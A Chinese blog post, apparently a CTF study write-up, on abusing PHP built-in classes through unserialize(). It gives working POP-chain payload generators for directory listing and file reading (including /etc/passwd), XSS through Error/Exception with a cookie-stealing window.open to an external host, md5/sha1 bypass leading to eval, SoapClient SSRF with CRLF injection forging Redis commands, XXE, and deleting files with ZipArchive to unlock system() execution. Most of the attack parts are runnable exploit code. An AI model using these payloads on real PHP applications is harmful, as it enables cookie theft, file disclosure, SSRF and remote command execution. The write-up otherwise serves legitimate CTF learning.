PHP 原生类学习与利用

目录​​​​​​​

前言:

ez_serialize

PHP原生文件操作类:

可遍历目录类:

DirectoryIterator

 FilesystemIterator

GlobIterator : 

可读取文件类:

SplFileObject 类

利用Error/Exception 内置类进行XSS

Error 

Excepthin 内置类。

[BJDCTF 2nd]xss之光

使用 Error/Exception 内置类绕过hash 比较。

Error类

Exception类

[2020 极客大挑战]Greatphp

SoapClient类来进行SSRF

bestphp’s revenge

使用 SimpleXMLElement 类进行 XXE

[SUCTF 2018]Homework

使用 ZipArchive 类来删除文件

梦里花开牡丹亭


前言:

对PHP 原生类的利用似懂非懂,总是看完wp 才恍然大悟,原来可以这么用, 所以收集总结一下 我涉及到的php 原生类的题目,加深巩固。

ez_serialize

<?php
error_reporting(0);
highlight_file(__FILE__);
class A{
    public $class;
    public $para;
    public $check;
    public function __construct()
    {
        $this->class = "B";
        $this->para = "ctf";
        echo new  $this->class($this->para);
    }
    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class($this->para);
        }
        else
            die('bad hacker~');
    }
    

}

class B{
    var $a;
    public function __construct($a)
    {
        $this->a = $a;
        echo ("hello ".$this->a);
    }
    
}

class C{

    function vaild($code){
        $pattern = '/[!|@|#|$|%|^|&|*|=|\'|"|:|;|?]/i';
        if (preg_match($pattern, $code)){
            return false;
        }
        else
            return true;
    }
    
}

if(isset($_GET['pop']))
{
    unserialize($_GET['pop']);
}
else
{
    $a=new A;
} 
?>

这是一道很经典的题, 做过好多类似的,简单审计一下吧。

先反序列化了pop 传入的值,然后我们全局查找一下出口,也就是我们能利用的点,一般都是file_put_contents   file_get_contents   system  eval 什么的,但是这里没有。审计了一会后,能利用的也就这些地方了

    public function __wakeup()
    {
        $this->check = new C;
        if($this->check->vaild($this->para) && $this->check->vaild($this->class)) {
            echo new  $this->class($this->para);
        }
        else
            die('bad hacker~');
    }

这里 echo 了一个 类对象,那么不就是触发了 __toString 方法了嘛,不由得想到 使用php原生文件操作类。

PHP原生文件操作类:

这里提出 4个类,可以对文件进行操作的类:

可遍历目录类:

DirectoryIterator

FilesystemIterator

GlobIterator与上面略不同,该类可以通过模式匹配来寻找文件路径。

遍历目录 用以上哪个类都行,最好搭配glob:///协议去模式匹配来寻找我们想要文件的路径。

例如:

DirectoryIterator

<?php
$dir = $_GET['cmd'];
$a = new DirectoryIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=glob:///*

# payload一句话的形式:
$a = new DirectoryIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

 FilesystemIterator

<?php
$dir = $_GET['whoami'];
$a = new FilesystemIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=glob:///*

# payload一句话的形式:
$a = new FilesystemIterator("glob:///*");foreach($a as $f){echo($f->__toString().'<br>');}

GlobIterator : 

<?php
$dir = $_GET['whoami'];
$a = new GlobIterator($dir);
foreach($a as $f){
    echo($f->__toString().'<br>');// 不加__toString()也可,因为echo可以自动调用
}
?>
其中cmd=/*

# payload一句话的形式:
$a = new FilesystemIterator("/*");foreach($a as $f){echo($f->__toString().'<br>');}

也可以从此代码绕过 open_basedir ,其原理不再赘述

可读取文件类:

SplFileObject 类

SplFileObject在此函数中,URL 可作为文件名,不过也要受到影响。allow_url_fopen

SplFileInfo 类为单个文件的信息,提供了一个高级对象的接口,可以用于对文件的内容 遍历,查找,操作。

测试:

读取文件的一行

<?php
$context = new SplFileObject('/etc/passwd');
echo $context;

对文件中的每一行内容进行遍历。

<?php
$context = new SplFileObject('/etc/passwd');
foreach($context as $f){
    echo($f);
}

这道题可以先使用 FilesystemIterator 类来列举 flag 的位置,如:

<?php
class A{
    public $class='DirectoryIterator';
    public $para="/var/www/html";
    public $check;
    }
$a  = new A();
echo serialize($a);

看到

 往payload 追加 目录,可以看到里面有个flag.php

然后我们使用文件读取类 操作就可以了:

<?php
class A{
    public $class='SplFileObject';
    public $para="/var/www/html/aMaz1ng_y0u_c0Uld_f1nd_F1Ag_hErE/flag.php";
    public $check;
    }

$a  = new A();
echo serialize($a);

利用Error/Exception 内置类进行XSS

Error 

使用条件:

  • 适用于php7的版本
  • 在开启报错的情况下

Error类是php 的一个内置类,用于自动自定义一个Error ,在php7的情况下可能会造成一个xss漏洞,因为他内置有一个 __toString() 方法,常用于php反序列化中,如果 有个pop链走到一半走不通了,可以尝试利用这个来做一个xss,直接利用xss来打, 很多cms会选择使用 echo <obejet>类的写法,这回触发__toString 方法。利用这个类调用__toString 也会有意想不到的操作。

本地测试代码:

<?php

$a = unserialize($_GET['cmd']);
echo $a;

这里 有个反序列化的操作,但是没有后续操作,只能用PHP原生类进行操作。

exp:

<?php

$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);

传入cmd

看到已经弹窗,并且返回报错内容。

Excepthin 内置类。

适用于 php5,7

开启报错的情况下:

<?php

$a = unserialize($_GET['cmd']);
echo $a;

EXP:

<?php

$a = new Error("<script>alert('1')</script>");
$b = serialize($a);
echo urlencode($b);

报错的内容是一致的,并且能够成功弹窗

[BJDCTF 2nd]xss之光

git源码泄露,拿到源码

<?php
$a = $_GET['yds_is_so_beautiful'];
echo unserialize($a);

典型的反序列化函数,要考虑的是如何利用,这里有个echo ,不用思考就知道是要利用某个原生类的__toString 方法,我们这就可以考虑使用Error 内置类来 打Xss

payload

<?php
$poc = new Exception("<script>window.open('http://de28dfb3-f224-48d4-b579-f1ea61189930.node3.buuoj.cn/?'+document.cookie);</script>");
echo urlencode(serialize($poc));
?>

一般xss的题 flag 都再cookie 里,把cookie带出来就行了。

使用 Error/Exception 内置类绕过hash 比较。

Error类

error 是所有php内部错误类的基类,该类是在php7中引入的

Error implements Throwable {
	/* 属性 */
	protected string $message ;
	protected int $code ;
	protected string $file ;
	protected int $line ;
	/* 方法 */
	public __construct ( string $message = "" , int $code = 0 , Throwable $previous = null )
	final public getMessage ( ) : string
	final public getPrevious ( ) : Throwable
	final public getCode ( ) : mixed
	final public getFile ( ) : string
	final public getLine ( ) : int
	final public getTrace ( ) : array
	final public getTraceAsString ( ) : string
	public __toString ( ) : string
	final private __clone ( ) : void
}

类属性:

message:错误消息内容
code:错误代码
file:抛出错误的文件名
line:抛出错误在该文件中的行数

Exception类

从php5开始引入。

类属性和Error 类一样。不再贴上。

我们看到, Error和Expcetion两个类 中只有__toString 方法,这个方法用于 将异常或错误对象转为字符串。 

以Error 为例,测试一样他的tostring 方法

 发现会以字符串的形式输出报错,包含当前的错误信息 “payload”  以及当前报错的行号 2. 而传入 Error(“payload”,1) 中的错误代码“1”则没有输出出来。

再举个例子:

<?php
$a = new Error("payload",1);$b = new Error("payload",2);
echo $a;
echo "\r\n\r\n";
echo $b;
echo "\r\n\r\n";
if($a != $b)
{
	echo "a!=b";
}
echo "\r\n\r\n";
if(md5($a) === md5($b))
{
	echo "触发_tostring后a==b";
}

可见,$a 和$b 这两个错误本身是不同的,但是 __toString 方法返回的结果是相同的的,这里之所以需要在同一行是因为 __toString返回的数据包含当前的行号。

 Exception 类与 Error 的使用和结果完全一样,只不过 Exception 类适用于PHP 5和7,而 Error 只适用于 PHP 7。

利用这个点,可以绕过在php类中的hash 比较

[2020 极客大挑战]Greatphp

代码审计

<?php
error_reporting(0);
class SYCLOVER {
    public $syc;
    public $lover;

    public function __wakeup(){
        if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
           if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
               eval($this->syc);
           } else {
               die("Try Hard !!");
           }
           
        }
    }
}

if (isset($_GET['great'])){
    unserialize($_GET['great']);
} else {
    highlight_file(__FILE__);
}

?>
if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) )

对于这个,不能使用数组,只能使用Error类。

md5() 和 sha1()可以对一个类进行hash,并且会触发这个类的__toString ,且当eval() 函数传入一个类对象时,也会触发这个类里的__toString 方法,刚才实验过,Error类中的__toString 将转换的字符串相等。

又存在正则匹配 ,过滤了括号,无法调用函数, 所以直接 include "/flag"即可,过滤引号,直接url取反即可。

payload:

<?php

class SYCLOVER {
	public $syc;
	public $lover;
	public function __wakeup(){
		if( ($this->syc != $this->lover) && (md5($this->syc) === md5($this->lover)) && (sha1($this->syc)=== sha1($this->lover)) ){
		   if(!preg_match("/\<\?php|\(|\)|\"|\'/", $this->syc, $match)){
			   eval($this->syc);
		   } else {
			   die("Try Hard !!");
		   }
		   
		}
	}
}
$cmd='/flag';
$cmd=urlencode(~$cmd)
$str = "?><?=include~".urldecode("%D0%99%93%9E%98")."?>";
/* 
也可以用,也需要用两次取反
$str1 = "?><?=include[~".urldecode("%D0%99%93%9E%98")."][!".urldecode("%FF")."]?>";
$str = "?><?=include $_GET[1]?>"; 
*/
$a=new Error($str,1);$b=new Error($str,2);
$c = new SYCLOVER();
$c->syc = $a;
$c->lover = $b;
echo(urlencode(serialize($c)));

?>

SoapClient类来进行SSRF

php 的内置类SoapClient 是一个专门用来访问web 服务的类,可以提供一个基于SOAP协议访问web服务的php 客户端

SoapClient {
	/* 方法 */
	public __construct ( string|null $wsdl , array $options = [] )
	public __call ( string $name , array $args ) : mixed
	public __doRequest ( string $request , string $location , string $action , int $version , bool $oneWay = false ) : string|null
	public __getCookies ( ) : array
	public __getFunctions ( ) : array|null
	public __getLastRequest ( ) : string|null
	public __getLastRequestHeaders ( ) : string|null
	public __getLastResponse ( ) : string|null
	public __getLastResponseHeaders ( ) : string|null
	public __getTypes ( ) : array|null
	public __setCookie ( string $name , string|null $value = null ) : void
	public __setLocation ( string $location = "" ) : string|null
	public __setSoapHeaders ( SoapHeader|array|null $headers = null ) : bool
	public __soapCall ( string $name , array $args , array|null $options = null , SoapHeader|array|null $inputHeaders = null , array &$outputHeaders = null ) : mixed
}

该类中有个 __call 方法,当__call方法被触发后,他可以发送HTTP 和 HTTPS 请求,正是这个 __call 方法,使得 SoapClient 类可以被我们运用在 SSRF 中。而__call触发很简单,就是当对象访问不存在的方法的时候就会触发。

构造如下

PHP
public SoapClient :: SoapClient(mixed $wsdl [,array $options ])
- 第一个参数是用来指明是否是wsdl模式,将该值设为null则表示非wsdl模式。
- 第二个参数为一个数组,如果在wsdl模式下,此参数可选;如果在非wsdl模式下,则必须设置location和uri选项,其中location是要将请求发送到的SOAP服务器的URL,而uri 是SOAP服务的目标命名空间

构造php 

<?php
$a = new SoapClient(null,array('location'=>'http://ip:10000/aaa', 'uri'=>'http://ip:10000'));
$b = serialize($a);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

 vps监听:

 但是 当存在CRLF 漏洞,我们就可以通过user_agent 的参数伪造http头。

运行后,监听就出现了伪造的http头。

这里测试一下如何伪造。

<?php
$target = 'http://ip:10000/';
$poc = "CONFIG SET dir /var/www/html";
$a = new SoapClient(null,array('location' => $target, 'uri' => 'hello^^'.$poc.'^^hello'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b); 
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

伪造了redis命令,这样我们就可以用http协议去打redis了。

对于post数据包,Content-type 的值,我们要设置为  application/x-www-form-urlencoded而且Content-Length的值需要与post的数据长度一致。而且http头跟post数据中间间隔\r\n\r\n,其他间隔\r\n

<?php
$target = 'http://120.77.213.102:7777/';
$post_data = 'data=whoami';
$headers = array(
    'X-Forwarded-For: 99.99.99.99',
    'Cookie: PHPSESSID=3stu05dr969ogmprk28drnju93'
);
$a = new SoapClient(null,array('location' => $target,'user_agent'=>'snowy^^Content-Type: application/x-www-form-urlencoded^^'.join('^^',$headers).'^^Content-Length: '. (string)strlen($post_data).'^^^^'.$post_data,'uri'=>'test'));
$b = serialize($a);
$b = str_replace('^^',"\n\r",$b);
echo $b;
$c = unserialize($b);
$c->a();    // 随便调用对象中不存在的方法, 触发__call方法进行ssrf
?>

vps接收到:

 可以明显看到,我们串改了 User-Agent。而且 我们还可以往里面插入恶意代码。

bestphp’s revenge

这道题利用的就是这个点,即对SoapClient 类进行反序列化触发SSRF,并配合CRLF构造pyload。

 <?php
highlight_file(__FILE__);
$b = 'implode';
call_user_func($_GET['f'], $_POST);
session_start();
if (isset($_GET['name'])) {
    $_SESSION['name'] = $_GET['name'];
}
var_dump($_SESSION);
$a = array(reset($_SESSION), 'welcome_to_the_lctf2018');
call_user_func($b, $a);
?> array(0) { } 

扫目录发现flag.php:

only localhost can get flag!
session_start();
echo 'only localhost can get flag!';
 $flag = 'LCTF{*************************}';
 if($_SERVER["REMOTE_ADDR"]==="127.0.0.1")
{ $_SESSION['flag'] = $flag; }



 only localhost can get flag! 

看到 remote_addr 等于127.0.0.1

但是这里没有明显利用ssrf 的点,所以想到利用原生类触发反序列化导致ssrf ,由于flag会被插入到session中,所以我们就需要携带一个cookie 即PHPsessid 去访问它来生成这个session文件,

wp可以看看其他师傅的

[LCTF]bestphp‘s revenge_沫忆末忆的博客-CSDN博客_bestphp's revenge

bestphp‘s revenge_bfengj的博客-CSDN博客_bestphp's revenge

使用 SimpleXMLElement 类进行 XXE

SimpleXMLElement类

这个内置类用于解析XML文档中的元素。

官方文档中对SimpleXMLELement 类的构造方法 SimpleXMLElement::__construct的定义如下

 

 意味着,当我们将第三个参数data_is_url设置为true的话,我们就可以调用远程xml文件,实现xxe的攻击。第二个参数的常量值我们设置为2即可。第一个参数 data 就是我们自己设置的payload的url地址,即用于引入的外部实体的url。

[SUCTF 2018]Homework

具体参考:

[SUCTF 2018]Homework – JohnFrod's Blog

使用 ZipArchive 类来删除文件

zipArchive 类可以对文件进行压缩与解压缩处理。

条件 php 5.20

常规的类方法:

ZipArchive::addEmptyDir:添加一个新的文件目录
ZipArchive::addFile:将文件添加到指定zip压缩包中
ZipArchive::addFromString:添加新的文件同时将内容添加进去
ZipArchive::close:关闭ziparchive
ZipArchive::extractTo:将压缩包解压
ZipArchive::open:打开一个zip压缩包
ZipArchive::deleteIndex:删除压缩包中的某一个文件,如:deleteIndex(0)代表删除第一个文件
ZipArchive::deleteName:删除压缩包中的某一个文件名称,同时也将文件删除

我们看看ZipArchive::open:打开一个zip压缩包

ZipArchive::open(string $filename, int $flags=0)
该方法用来打开一个新的或现有的zip存档以进行读取,写入或修改。

filename:要打开的ZIP存档的文件名。
flags:用于打开档案的模式。有以下几种模式:
ZipArchive::OVERWRITE:总是以一个新的压缩包开始,此模式下如果已经存在则会被覆盖或删除。
ZipArchive::CREATE:如果不存在则创建一个zip压缩包。
ZipArchive::RDONLY:只读模式打开压缩包。
ZipArchive::EXCL:如果压缩包已经存在,则出错。
ZipArchive::CHECKCONS:对压缩包执行额外的一致性检查,如果失败则显示错误。
注意,如果设置flags参数的值为 ZipArchive::OVERWRITE 的话,可以把指定文件删除。这里我们跟进方法可以看到const OVERWRITE = 8,也就是将OVERWRITE定义为了常量8,我们在调用时也可以直接将flags赋值为8

如果我们通过ZipArchive 调用 open方法 ,可以删除目标机上的文件

梦里花开牡丹亭

没找到复现的环境,只能跟着其他师傅的wp 做了。也正好整理一下这些类涉及到的题型。

<?php
highlight_file(__FILE__);
error_reporting(0);
include('shell.php');
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}
class login{
    public $file;
    public $filename;
    public $content;

    public function __construct($file,$filename,$content)
    {
        $this->file=$file;
        $this->filename=$filename;
        $this->content=$content;
    }
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            $this->file->open($this->filename,$this->content);
            die('login success you can to open shell file!');
        }
    }
}
class register{
    public function checking($username,$password)
    {
        if($username==='admin'&&$password==='admin'){
            die('success register admin');
        }else{
            die('please register admin ');
        }
    }
}
class Open{
    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);
        }else{
            echo file_get_contents($filename.".php");    // filename=php://filter/read=convert.base64-encode/resource=shell
        }
    }
}
if($_GET['a']!==$_GET['b']&&(md5($_GET['a']) === md5($_GET['b'])) && (sha1($_GET['a'])=== sha1($_GET['b']))){
    @unserialize(base64_decode($_POST['unser']));
}

其实看到代码还是挺简单的.

因为题目有包含 shell.php ,我们先构造个链子去读取shell.php

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "php://filter/read=convert.base64-encode/resource=shell";
$poc->content = "xxx";
echo base64_encode(serialize($poc));

shell.php

<?php
function shell($cmd){
    if(strlen($cmd)<10){
        if(preg_match('/cat|tac|more|less|head|tail|nl|tail|sort|od|base|awk|cut|grep|uniq|string|sed|rev|zip|\*|\?/',$cmd)){
            die("NO");
        }else{
            return system($cmd);
        }
    }else{
        die('so long!');
    }
}

看到是 function shell , 我们可以通过反序列化的方法,来调用shell 方法,进行system 命令执行。

但是这里看到


    function open($filename, $content){
        if(!file_get_contents('waf.txt')){    // 当waf.txt没读取成功时才能得到flag
            shell($content);

这里需要waf.txt 不存在时,才能调用shell 方法,所以得删除waf.txt ,所以我们要借用原生类,原生类有open方法,去删除waf.txt

删除waf.txt exp

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new ZipArchive();
$poc->filename = "waf.txt";
$poc->content = ZipArchive::OVERWRITE;//或者为8
echo base64_encode(serialize($poc));

删除后 构造命令执行就可以了,

<?php
class Game{
    public  $username;
    public  $password;
    public  $choice;
    public  $register;

    public  $file;
    public  $filename;
    public  $content;
    
    public function __construct()
    {
        $this->username='user';
        $this->password='user';
    }

    public function __wakeup(){
        if(md5($this->register)==="21232f297a57a5a743894a0e4a801fc3"){    // admin
            $this->choice=new login($this->file,$this->filename,$this->content);
        }else{
            $this->choice = new register();
        }
    }
    public function __destruct() {
        $this->choice->checking($this->username,$this->password);
    }

}

class login{
    public $file;
    public $filename;   
    public $content;
}

class Open{
    function open($filename, $content){
    }
}
$poc = new Game();
$poc->username = "admin";
$poc->password = "admin";
$poc->register = "admin";
$poc->file = new Open();
$poc->filename = "xxx";
$poc->content = "n\l /flag";
echo base64_encode(serialize($poc));

还有其他的类方法可以参考其他 师傅的文。 其他姿势的原生类我暂时也还在学习。

  • 0
    点赞
  • 4
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值